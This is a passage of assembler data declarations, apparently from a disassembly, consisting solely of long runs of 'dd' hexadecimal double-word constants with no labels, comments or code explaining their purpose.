dd 63BF2180h, 171EB586h, 24367500h, 681DEF95h, 0DF430C2Fh
dd 0CB32E603h, 32DE1500h, 0EEA2192Eh, 1E9D00AFh, 6C1A2F66h
dd 7D00BA6Dh, 276F6A63h, 0C0C9F0h, 0A260C28Eh, 2B8C3FB5h
dd 99608078h, 2A462274h, 851014Dh, 0D011D46Bh, 0B0D49E4Eh
dd 1ACBF2h, 58532D3Fh, 0AAFEA60h, 8E4C05h, 15674707h, 106A1C31h
dd 6CA34900h, 149FBCB8h, 3F33246Eh, 0F53C0757h, 7F3A9053h
dd 0BA128FCCh, 0D036604h, 70E45E4Dh, 40240657h, 13B80554h
dd 0A1097F78h, 4356944h, 0C322492Ch, 40026440h, 0C8A42BC0h
dd 8128B3h, 0C7BBFCADh, 0E675876Bh, 1C083D07h, 44104318h
dd 73BA669Bh, 792D041Bh, 80D6AC62h, 0B022CEFBh, 5E000179h
dd 7FA63DF4h, 1D91CAh, 0D0AA31C8h, 0FC0630D9h, 0B7B46700h
dd 89A943B2h, 0F6D3286Eh, 5D7C13EFh, 3E4900A6h, 55F14785h
dd 20196600h, 2C7B274Bh, 23043994h, 0C300A5BAh, 0D415B8CFh
dd 63003B20h, 5E6CF07Dh, 0B34EF8h, 431DB01Ch, 0E094D578h
dd 23C58401h, 9D3407E4h, 1AC0EBE4h, 50CC79C9h, 29A5E060h
dd 0DB845700h, 610AD1A6h, 3052722Ch, 2127C57Dh, 760C2845h
dd 0DE73A85Fh, 1B1A03B9h, 0A17B2F64h, 233875B0h, 85915C1Eh
dd 80713945h
dd 0CC8FB840h, 1426DA17h, 0BE972D4Ah, 818BC402h, 0BC6258C8h
dd 8469741h, 66E810h, 73725B75h, 4097E421h, 0A4C43Ch, 399593B8h
dd 0CAAECBh, 487F25B4h, 6B437833h, 0C7A3B0A0h, 3BCDB1Eh
dd 7B578CC0h, 8F38BFh, 5D4A65Ah, 0FCB02760h, 6DC9BD09h
dd 5E8C9190h, 93C8DC50h, 0E4A73CB9h, 943C5F80h, 199DBAB6h
dd 1261E6B0h, 8D40FBDCh, 98E6C920h, 286B6982h, 2D78200h
dd 48954B4Eh, 4D42E96Ah, 6407510Dh, 521AC15Ch, 3D40D949h
dd 8624FDEDh, 720EC6E3h, 4FF3864Eh, 0CF70171Bh, 0DB8A0730h
dd 875E9001h, 0BF066CF9h, 9DBB0702h, 0FF5B0126h, 37F206E3h
dd 6D1480ABh, 0F57AC64Bh, 0FE7101E1h, 0D25307EBh, 2A9580B9h
dd 4328BD5Ch, 31B90EFh, 0DAC1EE9Bh, 3E072668h, 9AB4908Ch
dd 81568AF2h, 61057CA9h, 0A1F67AFCh, 417054E3h, 6D5700B5h
dd 70A960DFh, 0C400A084h, 3685C97h, 7C54E4h, 0F62BD45Fh
dd 0D70CB342h, 8A0051ECh, 77FBA7E6h, 901EA962h, 559400EFh
dd 954ED76Eh, 1200EC60h, 8865A647h, 1FDDEF5h, 42628E3h
dd 0E0BC9E08h, 39480E49h, 0A2007315h, 77CBBEE9h, 79E107Ch
dd 76D48A8Fh, 0C6136083h, 78142BAAh, 84473Bh, 9349F8F5h
dd 8CC57Ch, 43E6255Fh, 22C08229h, 22440C9h, 0C0617327h
dd 0FD1CE8h, 0F9F20CDEh, 0DDC27F91h, 0D0879702h, 6135E118h
dd 0A1C46F5Dh, 2947D24h, 275CE6A5h, 6461800Bh, 4086F198h
dd 48CD15B8h, 1007EAECh, 5A84567Ah, 0FF3D8521h, 5DD9BB40h
dd 0EE2709DEh, 0FE801E02h, 67F82A5Ch, 180C6800h, 1995CA81h
dd 0CE743E47h, 6B175200h, 450EEB07h, 0BD699E00h, 7B2EB6EEh
dd 0E48728FBh, 27DC01B3h, 7EB56BEAh, 255A6492h, 0F3BB6320h
dd 6E52E0h, 0C46D049Bh, 0E372E61Bh, 0B953C50h, 2FA22033h
dd 1511E842h, 29D14C76h, 0A43BF600h, 0A988C67Dh, 0CAC1FB06h
dd 12C3A78h, 409BC09Ch, 0D5DC8D50h, 981FDCB7h, 0C6BAEF09h
dd 0B625ADDh, 75B458E3h, 6D5FB380h, 3D018032h, 64995249h
dd 0E0FA19B0h, 2C9E4F5Fh, 60C8A95Dh, 26A55190h, 0CD815Dh
dd 30A75B94h, 0F554178h, 0E38953CFh, 94E8C3EBh, 6A0B951h
dd 5909CB29h, 3241C87h, 4B6F3C57h, 0D151E18h, 0F6112DECh
dd 57AD7B02h, 8120BB8Ch, 5425C450h, 0AA63CF4h, 0B850560Eh
dd 74260222h, 815AFC31h, 8108478Fh, 0F86CE77h, 5F3652FFh
dd 520F4083h, 0E907275Eh, 0E0FBCD7Eh, 0E5D647B7h, 332D2003h
dd 1FB285B8h, 0C0C50396h, 0EC78A9E0h, 5774C377h, 8A002871h
dd 0CD7C39F5h, 3423CFCh, 0ED06476Fh, 97809252h, 1E002877h
dd 53E071EFh, 75D11B7h, 0EDCB3520h, 0DDEB9009h, 7B7E296Ah
dd 4F5B0600h, 9AF02B31h, 323505A1h, 0BF40543Bh, 1A236F6Bh
dd 2C118400h, 9D6E574h, 0D98A90ABh, 0EAB4DEC3h, 4780229Bh
dd 74B843F8h, 698C10Bh, 4EEC7830h, 0BB0F1609h, 0C602217Ah
dd 1D12BA58h, 0A440557Eh, 5F34DCF5h, 8497E2B2h, 0A3BD6ABDh
dd 8B0B1EBCh, 0EA28859Dh, 14F1C15Dh, 32167F38h, 2D69A178h
dd 20BB84Fh, 90FCCA4Ch, 90575250h, 3F3F7C3h, 0A1E2D6Dh
dd 0B9985D3Ch, 0C00D1DBh, 7F4C0E01h, 40F392Fh, 5A46B331h
dd 5D8CBB58h, 44381E65h, 0A0690054h, 7D014D13h, 8307E91Ah
dd 0F7EB0968h, 7D907B11h, 0E8BEB8C2h, 81A05A15h, 0A03CD61Dh
dd 0E15F9748h, 0C42A0389h, 0AC9AFDD3h, 7B008C1Bh, 36C3EF2h
dd 0D3AC9837h, 18C4AA68h, 0C82A9AAFh, 4AEBC01Bh, 0FD09301Fh
dd 546FD3D4h, 0E4444036h, 0C2006DE6h, 0E2B09C02h, 25FB2A1Bh
dd 71FCFF65h, 5114710Bh, 0BE7CC5C4h, 0A202DB7Bh, 0C9CB8075h
dd 0F835E0D7h, 0D9852D89h, 0BE902904h, 0B8C4DC24h, 0A54C8280h
dd 1A40256h, 17A91476h, 0FC59F48Bh, 0ECD30300h, 0CA5410h
dd 37631970h, 0BFE9E178h, 384AC402h, 0D75B5F65h, 70041E6h
dd 0C8368563h, 1EF2097h, 0DC9F6FA6h, 6B905AC6h, 98BB9BC5h
dd 7312DF03h, 6809C60Eh, 70C6D4CDh, 3883B590h, 40C131D2h
dd 434CC324h, 219D0116h, 6BBF5B84h, 251823B0h, 0E4152B77h
dd 7A0B00BFh, 0C0D249ECh, 0A01ACDEh, 62C28D12h, 94708F36h
dd 1E90BD89h, 0BF7C905Fh, 72989917h, 0BDA5F9C1h, 0DC7E5CEEh
dd 0B529E406h, 16F90E79h, 0A656B6BFh, 0C78009D1h, 0E2385F92h
dd 8D1A0B51h, 46991D31h, 0E13C0319h, 1E94EB05h, 0F4E8C0D5h
dd 27016B84h, 14BB2276h, 0E62B029Ch, 15E467FFh, 496A1F78h
dd 0F213860Fh, 0C55784B2h, 963300ABh, 0FBD675F1h, 0B4044100h
dd 0FFECF0D5h, 9EE95BB5h, 819C401h, 4C2D8DAFh, 0A200A441h
dd 3FA352A0h, 0DD6E47h, 0F706A9C5h, 91B5897Bh, 0EEA2044Eh
dd 0BF3FF38Ch, 6BE52905h, 99A8B016h, 0B5C834C3h, 0C01AE5D7h
dd 9D2B70B9h, 0E478C89Fh, 0D3CCA071h, 0A724B5DBh, 0B5B345CAh
dd 0F57232BEh, 0BDF12175h, 2A1D18D9h, 88096DE0h, 14860C1h
dd 0FB202D2Dh, 0CD24C1h, 0C5B4F4ACh, 0F50541DAh, 5DA0D377h
dd 900058EAh, 0DABDECCCh, 0EB8106C7h, 7C2BFAA7h, 27959D16h
dd 8BDA39D0h, 0DC7E97D1h, 5D2A0BCBh, 5B7BC90h, 9C26981h
dd 0DFDF92F5h, 0B85DD929h, 2DEEB7F7h, 0FBF946E9h, 0E4513190h
dd 0F92A2EF5h, 3124994Ch, 0F24BB06Ch, 8EBF80CCh, 0FC03163Ah
dd 0FE1AA1A5h, 0BF892B34h, 4C9D80D0h, 5F440A63h, 27CE7162h
dd 0DF27B5ECh, 0F413DC27h, 75C5B100h, 21276C42h, 7CE7CBh
dd 0A1BD230Bh, 0F357DCE2h, 2619516Ch, 84083EFDh, 0AC97F48Dh
dd 997D20EBh, 0C22E5CEDh, 814E25Bh, 0C5185AFh, 0ABCF65BFh
dd 9707166Ah, 0F0ECF231h, 8048A038h, 0FC2ADF12h, 0EE020B6h
dd 0B2033853h, 19DCC8C5h, 5FA38AB7h, 14BD60BFh, 14F57E16h
dd 2FFEF98h, 0D9B531FAh, 0FEE67706h, 5AD402BEh, 4BD18FD7h
dd 210CCEC2h, 0F05BDh, 4B0DDC8Ah, 0B4F4F788h, 0C463D0EFh
dd 8872631Ch, 0DDFDD44Eh, 4311E884h, 0FF248FD1h, 0F2ADC7A0h
dd 40781EB0h, 87FC032h, 0C6B30CACh, 167F4C9Dh, 0A279EF80h
dd 5F57B1D7h, 0B16F9DFDh, 75A63EBCh, 0E59ACEF0h, 0F171BC01h
dd 0B3B5DD5Eh, 3CD2286Ah, 0F946F88Ah, 0A975B27Bh, 0A235602Fh
dd 61001DCCh, 0A7C5FBCAh, 97E1FF91h, 5B16EA74h, 198480A2h
dd 0C7810005h, 2B0D7D0h, 627EBF59h, 51D46D0Ch, 97051C50h
dd 0DA01103Dh, 2DDAD28h, 0B946286Ah, 6C9E045Bh, 17698F80h
dd 1600B7BAh, 0BF8A2C1Fh, 2D2EEC68h, 1FED600Fh, 47A8E4C5h
dd 4E73B348h, 2227A306h, 0B36A0107h, 17227A79h, 16486A0Dh
dd 8362A968h, 2AD9ECEAh, 0D5CDBCE0h, 679BDF00h, 86D45A8Fh
dd 82595B7Ah, 587C5B69h, 5335DF69h, 7F871B91h, 9543300Ah
dd 21002C4Ch, 8A5290F5h, 7505FDAh, 714BEDBFh, 0E437B97Ch
dd 7127BC81h, 72D8EBCAh, 0AA9926C7h, 131D081Ch, 0D2DBF827h
dd 0C8DBEE6Eh, 168047CEh, 0EEA863FCh, 70E30E16h, 18C9E705h
dd 3B2539EAh, 955659A0h, 3D0027E4h, 6B2F4154h, 481A60h
dd 0AADD8518h, 0C1712CBCh, 0F1A17325h, 65B30BEAh, 0BB104650h
dd 0EC964741h, 585AC7CAh, 158DA21Fh, 82385F08h, 252D9D01h
dd 0DE627C16h, 0B8CD33BDh, 2EFB8B60h, 619B810Fh, 21F85B5h
dd 9E15561h, 5DE90007h, 0D8D39302h, 0CC0911A4h, 0D1579EBAh
dd 1DFBAD16h, 8A172B24h, 0E0DE261h, 37E629A7h, 0C30E109Dh
dd 777D272Fh, 0C4060E7Fh, 79EA66D3h, 616A3AA6h, 84A42B02h
dd 88D7641Bh, 8997C8CFh, 0C8007B7Ah, 0CF1CD0EAh, 9701E1DEh
dd 0BF661A13h
dd 0D62656E4h, 0FDC58140h, 0C0C4A82Fh, 0CE099B79h, 5B382792h
dd 72C4E0F0h, 0F6AE0446h, 0F789E049h, 708B6484h, 1C22AF22h
dd 9E50062Ah, 89EB132Dh, 70F7FB14h, 0CD5C8F70h, 18E113EDh
dd 3F6099BFh, 4FF78B13h, 0BDE525B0h, 0D68C1E5Fh, 0D90644E8h
dd 0A46F2502h, 455FDB08h, 0CABF81F0h, 0A82FC6B2h, 8921D2EEh
dd 40D4AA8Bh, 30A0E8F9h, 290021D5h, 0E5E19C09h, 16C06AF1h
dd 0EC5FA806h, 585846Ch, 160CBB40h, 1EC93868h, 559BFF8Bh
dd 67DFD1E8h, 94A44351h, 16975879h, 0E0A20829h, 4B6AD7h
dd 0BE4DFEAFh, 0E5E1664h, 4BCF8114h, 0EB4FFFA5h, 0FAAA6C02h
dd 90766490h, 9D5F7810h, 0E8006237h, 0AD011D2Ch, 610E2F3Ch
dd 59006444h, 465A9148h, 3D9C1D89h, 0E8017CB5h, 6588056Ch
dd 3A9A7AF1h, 64C01CC8h, 1F636F7Ah, 0C94876ADh, 854614Dh
dd 755AE641h, 13D432E5h, 4996003Bh, 4D06CFD4h, 0BB02BC56h
dd 43D69B8Dh, 7AEF575Bh, 9B631C64h, 844830FAh, 2B01A876h
dd 12C88060h, 0B22E958Bh, 35CA4F26h, 765427h, 86F205F6h
dd 0AE6EC678h, 1FD1D104h, 2943E906h, 0C0BCED97h, 9030BC6Eh
dd 8EBF8D3h, 7CA5A156h, 0BDE075B5h, 95100B45h, 0C478F9D3h
dd 4194B507h, 0BADEDA5Eh, 4DE6C4C0h, 0BF048036h, 19EA7A6Ah
dd 0A812098Bh, 197ABB04h, 9DBA6501h, 41C4F3C0h, 3F2F7D83h
dd 1723926Fh, 1518F880h, 5AA99D29h, 6A70DD1Bh, 4C399621h
dd 908F4FCh, 0E8D260Bh, 406A95DFh, 2ABE9BF8h, 98B5F4EEh
dd 0B795315Dh, 0BF5052E8h, 0CAD25A0Bh, 5E68291Ah, 800DC8Ch
dd 37A974C0h, 4FE7806Eh, 0A032CAB6h, 2486C7Dh, 7243AA2Ah
dd 6BD6AB47h, 9FDB8061h, 9B7F934Dh, 85B9CB50h, 35EA79C2h
dd 2BDEFA5Dh, 0E635B0C1h, 38356BDCh, 27041F6Fh, 0FB7A4F16h
dd 0C627AA2h, 96FF1291h, 0D4EB94CEh, 37F5000h, 0E9D26898h
dd 0C5E45A0Eh, 5A82A817h, 51E0CDF6h, 0E8075AFBh, 0A8C7DB57h
dd 0E1B501B0h, 0A692B51Bh, 0FFB7DDh, 0FF110954h, 272EB2Bh
dd 8A44FB27h, 0FBADA79Ch, 181659E5h, 0E09E02C5h, 1B61BD09h
dd 81E0DAD6h, 27F9F7C7h, 15D435AFh, 28A90FF4h, 36E4C292h
dd 0EF3D84ECh, 191D6E04h, 558BE117h, 17DEFB9Fh, 9D4700DFh
dd 0FE03E50Bh, 0BF063901h, 7BC04666h, 0F9D3756Bh, 505CA8B8h
dd 8020BD89h, 9709BB50h, 0AB6F0A69h, 18BD123h, 3F45E57Dh
dd 96A23A09h, 0A5B5290Bh, 505FE5A0h, 876E0F60h, 0E38A0331h
dd 0DAAFE561h, 0E815CA55h, 505FDC9h, 0CAE5ACF9h, 0B60065E9h
dd 68A796A1h, 82AF004Bh, 60BCBED5h, 8E7CCC45h, 6E48900Bh
dd 44DD5938h, 8AF5335h, 960B3105h, 6FDCDC50h, 0E316A612h
dd 1C99E0AFh, 9D890B26h, 46141915h, 0D9FE90B5h, 2CB3002Fh
dd 8FE1663Eh, 810276B4h, 67EEF362h, 0E9BED6A8h, 6140CF4Dh
dd 257C29FAh, 0E05CE44Dh, 9D98B80h, 971EFD8Dh, 1879165Bh
dd 0E3396618h, 0DB0A3B88h, 1DB1DE81h, 0C1E0756Bh, 6B4CBECBh
dd 8898E028h, 0BE126660h, 0B188FD8Eh, 0F3610004h, 8DAA9417h
dd 0CB00E14Ah, 78FB3F67h, 4A3652E5h, 0EE638861h, 842E2400h
dd 63C6E795h, 73C300FAh, 4FC9308Bh, 0F0252D77h, 0D661D494h
dd 9A001A46h, 27B17351h, 8B26FDACh, 5E2D66DFh, 0EDC69787h
dd 0ED1ECCEh, 36E594E8h, 0CB81009Eh, 1EAAF349h, 0FEDA8B27h
dd 0E3301609h, 0A9BFC13Fh, 35205BCBh, 0A9F24B32h, 2FDA3967h
dd 7A637BC1h, 5DE7CAD5h, 0BF2A388h, 1675168Dh, 62359755h
dd 73CE701Ch, 0C0E43460h, 76A3FBE8h, 938A00B6h, 38CF26ADh
dd 5B009EEEh, 70D7694Fh, 18BF66CCh, 9261E4A4h, 0BC832A15h
dd 942CF6C0h, 906825D3h, 1A0116F1h, 13922BC8h, 0FA500838h
dd 200D4582h, 0C848964h, 588A3FB8h, 9959050h, 6279FE6Eh
dd 64D72350h, 6A5F2B36h, 37A7D0F9h, 0F0622C02h, 78FF9D13h
dd 0E6125B58h, 391E03AEh, 98A23A66h, 90FC5Dh, 0FB549F37h
dd 0CF80C47Fh, 252B4758h, 92CEDCB5h, 439BFF6Ah, 0E4793580h
dd 313F0AC5h, 8A3203CFh, 0E2D022BFh, 9BF9826Ch, 886274C6h
dd 37A5431Fh, 0ADBE00BEh, 0FAC19E3h, 6581984Eh, 31DC34B7h
dd 0E53B551h, 39C60634h, 4616902h, 524882D5h, 0D6D48948h
dd 0DB7B2FCBh, 22181651h, 43418B2Fh, 0FC4227EDh, 0E8F74046h
dd 5902B786h, 678F51BBh, 0EB217470h, 0A040E44Dh, 2B1A1EBh
dd 3C903B05h, 662B483h, 0D5E020CDh, 1C9E21Eh, 89AD7C09h
dd 328D0F4Ah, 61A25BAAh, 0D810C000h, 0D6C40807h, 0E0A0B451h
dd 149DF85Fh, 0F24A4347h, 2EB63018h, 0CA054610h, 12DB5228h
dd 835BCCEAh, 7FC7905Bh, 507DB2C3h, 0F381B0BFh, 78BB4C29h
dd 0DA083116h, 0E1E3250Eh, 0E2E9048Ch, 0A5FB38EBh, 7A30C641h
dd 7A3BE99Dh, 84C80021h, 0FD33E4FFh, 0CD145E65h, 3D0A69Ah
dd 38A75B13h, 0A6B0DE46h, 0A4028C34h, 0EB5D0F17h, 498A4ACCh
dd 0BA213141h, 8625FBF9h, 6DB779A7h, 0C740B29Ch, 0A362D159h
dd 0BD89098Fh, 2CD230E5h, 14A19F31h, 0BA050D7Dh, 1689079Bh
dd 70407530h, 4D94FF4Eh, 0C27FDEBAh, 0DD22429Bh, 8951E74Ch
dd 79E2371h, 2600347h, 40A95C12h, 97321ECh, 17C52B01h
dd 49E19A85h, 0BD755BE4h, 960E0049h, 0AF98D0A6h, 0D888295Fh
dd 0F8EB0581h, 0C1661743h, 771D89B7h, 0D8F8B5EAh, 0EB32007Ch
dd 0D47B91CBh, 319D5F52h, 0C114FE5Fh, 2317926h, 2045F8B0h
dd 0E62F13A5h, 5E2FC270h, 0E3810257h, 58740861h, 0C74BDC91h
dd 128C924Fh, 0DF8046F3h, 10CED787h, 0D96CC466h, 0DC5B0B20h
dd 845C752h, 8A0C422Ch, 27F76EDDh, 4E42C33Fh, 6302D266h
dd 0A767039Ch, 3E64DD5Fh, 9023B920h, 0CDC69D50h, 0C82BF917h
dd 1E9DC021h, 10D1679Bh, 768822CDh, 358FBF20h, 8B250AC6h
dd 2F510885h, 94AC057Eh, 0BB000A37h, 5EBE1EB8h, 5040E75Dh
dd 184EB588h, 444C098h, 22DA0CF4h, 82A3AA37h, 34D0E93Ch
dd 3FF628Dh, 655DD98Ah, 8957092Fh, 0F7DB6AF5h, 1907ECC2h
dd 0DD85E1FEh, 0EAD47A26h, 25BD6050h, 0FE385F07h, 7F984078h
dd 52FC502Eh, 6284BB9Eh, 0F6EB4342h, 77A6A485h, 7A974200h
dd 5DB90CD0h, 128F0F52h, 88AF3279h, 1C5C8EF5h, 4988C8B2h
dd 6E0039F9h, 8579F41Fh, 77570164h, 20AEFBC5h, 6159F49Ch
dd 0BC11FC4Dh, 308705F2h, 0B6C02BF5h, 43E0E762h, 0BF9109D4h
dd 45BA4CC1h, 954C045Fh, 0FE9BBA0Ah, 53DC8A01h, 24B19531h
dd 6DBD5B61h, 611544BDh, 0E928A74Eh, 8AE6FD5Ah, 5E2D148Eh
dd 0A07F6BB9h, 5B14D813h, 7E52093Dh, 920B5E24h, 2039B2F6h
dd 153B721h, 7ED69CACh, 250F4D15h, 0FCC55E72h, 0C439BDF9h
dd 910007A8h, 5AB9ABFFh, 9AE06DEh, 958D2945h, 1560EB6Fh
dd 1366021Ch, 0A2030F3Dh, 0DE998951h, 0B800F62Fh, 3DBA858Fh
dd 4B24283Bh, 0C24AACF0h, 3D16459Dh, 55A58F23h, 3B8EBD98h
dd 0BD038309h, 66EC7D39h, 903F9600h, 0D9A02F70h, 9AFD00C6h
dd 1F465872h, 0FEB6E1FFh, 0A41003DCh, 0D28DA20Bh, 3A4931E9h
dd 5A14AE28h, 806EDE04h, 0B5315FA6h, 8E7BE309h, 53FF3511h
dd 792A4601h, 283A12CBh, 27C3B6ACh, 27019D33h, 6284604Dh
dd 91FF1332h, 3A0E155Dh, 80F87337h, 0E66D82D7h, 25006A44h
dd 5EDB8F2h, 2704846Fh, 7C4BDA49h, 26C452D4h, 0AF4F8FACh
dd 0A6844361h, 4E6420C4h, 2A709D40h, 76C12ADAh, 0DCF5A49Dh
dd 2E12D2BBh, 7BFE42CEh, 49670170h, 52F3A68Bh, 9B8302Fh
dd 0C5FA9B5h, 0B180C0BDh
dd 3472FE9Ah, 6C26F800h, 94039B8Bh, 5A4416D6h, 0A8C5C5FBh
dd 0D1BE17DCh, 1525A1ECh, 777A81D6h, 918B9BE0h, 6BF3F995h
dd 2DD88687h, 5FA83FBBh, 0B8FA1F9Fh, 0FE93523Fh, 5D5AA35Fh
dd 0A6C10AAh, 5890B571h, 0B20030CEh, 62A14A4Dh, 72B37DD3h
dd 0EB9895FAh, 127BD23h, 9F674E14h, 0E94370F6h, 0F08D4C0Bh
dd 7044BB4Fh, 52A96585h, 0A31920ECh, 0AD56DFC5h, 93E3A36Eh
dd 8032DAAAh, 5A825259h, 4EF5A09h, 0E8A6A7DDh, 0DCAFDD47h
dd 4675696Dh, 0BF5C4A02h, 56F82C34h, 67A53F81h, 774BF0A9h
dd 0F8E15900h, 0F324B9CDh, 89A72568h, 4FE2606Dh, 83B98847h
dd 6330F725h, 9527B501h, 0A5795B27h, 0EA7072D3h, 0B89B1E42h
dd 0C96B029Ch, 3589E920h, 0F69645F6h, 0F0A84F81h, 6F68133Ah
dd 51ED0F49h, 0D601E0FCh, 4E23F5AFh, 963A929Dh, 0D340DF5Eh
dd 0EDAF0h, 46B9BFD7h, 169385AEh, 110283A1h, 0D8785F50h
dd 0F000985Ch, 85299661h, 5B9732D1h, 18157954h, 4A89FE6Ah
dd 271A9BDh, 0D092D168h, 0DBB5422Bh, 445F12B2h, 410487E3h
dd 5D09BB66h, 4DFB27Eh, 2BCF912Eh, 4E2007F0h, 0B1E8C37h
dd 34B79BFh, 0F18A6090h, 18F440Bh, 9D3FF261h, 5FC9D34Dh
dd 0D37F8F90h, 352FB090h, 5CE7592Ah, 0EA7D0802h, 0A4F99531h
dd 6EBF61E6h, 0F7D700F4h, 270B4792h, 0AAB62556h, 2982F2E5h
dd 752F4195h, 344EED9Ch, 29EC62F9h, 52253472h, 43E76F9h
dd 452EC19Dh, 411F21E9h, 7508BD09h, 75F2E91Dh, 1C507C53h
dd 39CE127Eh, 518C5B6h, 0FF0C09B0h, 0C21D717Bh, 0B74C8477h
dd 2E7BE188h, 890BD528h, 2AC5F42Bh, 0F89AF6A7h, 0A57CD97Dh
dd 95BBE90h, 0BB3A8E38h, 0E2854A52h, 82D19FFAh, 401ADD75h
dd 9751EBCAh, 1559075Bh, 214F6818h, 4B4ADAE0h, 3320CCA2h
dd 12B1BD16h, 79FF2DEAh, 0FDF0A979h, 63412C40h, 0B76B0F7Eh
dd 0BB963944h, 84F788h, 6CAF55B4h, 0A688B062h, 9707B2E8h
dd 0F561AEAAh, 60A4C750h, 0BB36BE66h, 0FE830F13h, 72BFA8CCh
dd 9CC498BBh, 0EA131260h, 40C10A2Ch, 0EC45115h, 5B091489h
dd 6DE914DCh, 8FF54226h, 7E95DB41h, 965FA34Ch, 0EAC94A87h
dd 8E25247Fh, 896CA6D5h, 0CB054BE0h, 6A4AD4h, 30D4901h
dd 7A23619Dh, 8B2DCADDh, 0AFC53F9Fh, 75F64A30h, 0BCD814A4h
dd 5D6E5F6Ah, 85D5D30Bh, 1F6204F7h, 8BC463BDh, 0A2F3ABDEh
dd 2819951Fh, 1E6817Bh, 134BF94Bh, 0ACC6A9EEh, 39008C1Dh
dd 0E2D20359h, 5D5F975h, 8D29FA23h, 0F2F794C5h, 9B057EE3h
dd 267693E5h, 0F1DD404h, 60965B02h, 3B40075Eh, 138A5450h
dd 3D8BE59h, 800FE697h, 77201F48h, 2C0B8826h, 0B81C350h
dd 584F0725h, 18DFCC0Bh, 370562Dh, 0B6F5A635h, 744B338Fh
dd 5A8B6B9Bh, 0B1407876h, 0B833567h, 829AADFFh, 0EF324DFh
dd 69BD0101h, 0B75F1004h, 0F07C9540h, 58ED12FEh, 4B0BAA0Bh
dd 6CBDD52Dh, 20BCFE80h, 4B705EDAh, 4A61CACDh, 0A67A0CA1h
dd 86A2F761h, 5D58426Ah, 315E366h, 98AF5BDh, 7A99B529h
dd 5F5C908Dh, 0B579B88Eh, 0F33BB2CDh, 0B7F24087h, 67BDA25Bh
dd 0A67DB9BCh, 0C0C63201h, 0C318942h, 134E726Ch, 234C6E60h
dd 8991001Bh, 77A38A66h, 0E6BB2125h, 27564BB6h, 5405806Ch
dd 0E817BE69h, 8AE98E9Bh, 33565182h, 5F47D0FEh, 0A07A7919h
dd 2FA12FA4h, 22C4E459h, 2E57E157h, 0AC134A34h, 7DC128AEh
dd 2AF3FE00h, 0C0B9A123h, 348297FFh, 55E90B3h, 4FB58958h
dd 903149E9h, 0B72F20DCh, 71207DFh, 0FBAF1522h, 48D7E384h
dd 77ADC164h, 0E80098B8h, 90EF3AA5h, 484ACC0h, 590BBFE3h
dd 0B4F3FE28h, 1689571Eh, 7F4BBBD1h, 0A9500290h, 0D47E54E1h
dd 8E001A46h, 645665C7h, 6A5AC42Eh, 14CF419Bh, 38B29DE0h
dd 719F297Bh, 2695208Eh, 4E040A09h, 1A6995C2h, 9A1014C4h
dd 0FB1214D6h, 96D4FB01h, 305EA6ACh, 97C38075h, 2295059h
dd 85092404h, 0B70FC6CDh, 95A30F66h, 5BC9BDFCh, 56BCF6EDh
dd 8EE11702h, 5DB072A2h, 0E30571F3h, 9AFA41E8h, 0C0C2D14Dh
dd 63B7AD8Ah, 81D900B5h, 0F8E81CBBh, 0D15FFF2Ch, 42E020A6h
dd 0F74BD776h, 0E921608Ah, 2B1919F9h, 8B179EB8h, 4435BEA1h
dd 1D78EEFh, 28B76CF2h, 0A960ED80h, 0A8234F29h, 1BFDD3CDh
dd 6E1C2DA8h, 0B3C0854Bh, 0CF80BA3Dh, 0C5049D1Ah, 53F1122Eh
dd 7467A17Fh, 360086EEh, 117C2D4Bh, 2E00554h, 0F6997C7h
dd 0A742F98Bh, 50E17DCDh, 0FA316A01h, 8001B22Bh, 7AAE3508h
dd 118807B1h, 40BC0568h, 0B3E12214h, 8BA33E0Bh, 58B7780h
dd 46D6FDD4h, 0F9640414h, 38BA9DE9h, 0D640A414h, 6BBB1466h
dd 4172C6DDh, 9994412Ah, 139C2E11h, 127190F8h, 0E03FB1EFh
dd 63E2BBBDh, 6A75F9A2h, 3B0F138h, 0B63C7537h, 60CD1881h
dd 525CD151h, 96312C85h, 323D02C8h, 5CFEFC90h, 9D5E4BA6h
dd 36964AF4h, 3527DE71h, 53FCD41Bh, 18C1EC10h, 0F321AB4Ah
dd 0B52A9D2Bh, 0B39A7A31h, 40C116C8h, 792C21F0h, 0BBFF6A00h
dd 7CCAFAC4h, 0D52D9BB0h, 0D069532Eh, 380147B9h, 7E6914B6h
dd 0C60E371h, 0F22A4A6Dh, 14E86DEh, 0B0DE2DF7h, 5F272C02h
dd 8516795Ch, 0C1AAAE25h, 100BDD83h, 882A11BDh, 0E94F71E4h
dd 4A122BEFh, 5E1299D3h, 430E2779h, 0DDF0970Dh, 7007DE3Ch
dd 371E904Dh, 0C15D7D41h, 95FDD02Bh, 918E12F9h, 0E282BE27h
dd 19569035h, 8EBBBAC0h, 5BABAA12h, 0F7B590EFh, 1097E059h
dd 31248h, 4B29E37Dh, 667A45DEh, 688F6512h, 0E82EABE1h
dd 7EA590C0h, 2F2B0A40h, 0C358FCC8h, 81AA44h, 79B2C6EBh
dd 50FBB32h, 596DC42Eh, 0A512F134h, 5712788h, 2A2E923Ch
dd 7408EE90h, 0FC5B0418h, 7CB4B861h, 137D8517h, 18FC6ACh
dd 0AB0D6525h, 482B48DDh, 55A52FBFh, 0DB811310h, 3167DE09h
dd 536416h, 88BF6076h, 0CD90123Fh, 515A6113h, 2DD59505h
dd 5CE9D4C8h, 0ABD6943Bh, 0D1AC01D4h, 0FA256494h, 2345D2C4h
dd 0C1CBB700h, 0CF32973Eh, 252D5B5Dh, 952C2557h, 0CFAD9424h
dd 144FD584h, 7407DCFh, 9149EC29h, 159EB1C3h, 208B2E19h
dd 5F86A4Bh, 8D09942Ch, 0A8AC4CC9h, 0D9864D24h, 2EB90021h
dd 0CF77A00Fh, 82EB4B55h, 0D58260E7h, 8A012ED1h, 0F3EE61D3h
dd 0B9E073A5h, 9D01A60Dh, 0F9C85894h, 9066C02Bh, 0B79EF2F0h
dd 58C49A1Ch, 9D018C41h, 0A6820561h, 5EF55060h, 0F8651840h
dd 256BB43Fh, 0FC3DF4BAh, 47EF1B5h, 95E59529h, 109FFA5Eh
dd 9178D8D3h, 8D298F04h, 0F6AB279Dh, 0B0730E2h, 9E4AEB7h
dd 15CC3AB0h, 8F957FE6h, 0C3A450EFh, 99FFD940h, 5992A957h
dd 76DB7AD5h, 4B12C650h, 4A136EB1h, 1B805FB8h, 0F63540F1h
dd 91D78012h, 0C889CEE2h, 0A755BD7Dh, 2144007Fh, 7B1DE5C5h
dd 6570B560h, 5B124120h, 0A93FA961h, 0BE80E469h, 0B780124Fh
dd 7CCC5C27h, 0D881C41Ch, 234B61C6h, 0DA4B05CBh, 0E17980D1h
dd 3D0C2698h, 5525BF66h, 4C003971h, 448DD497h, 74D3018Bh
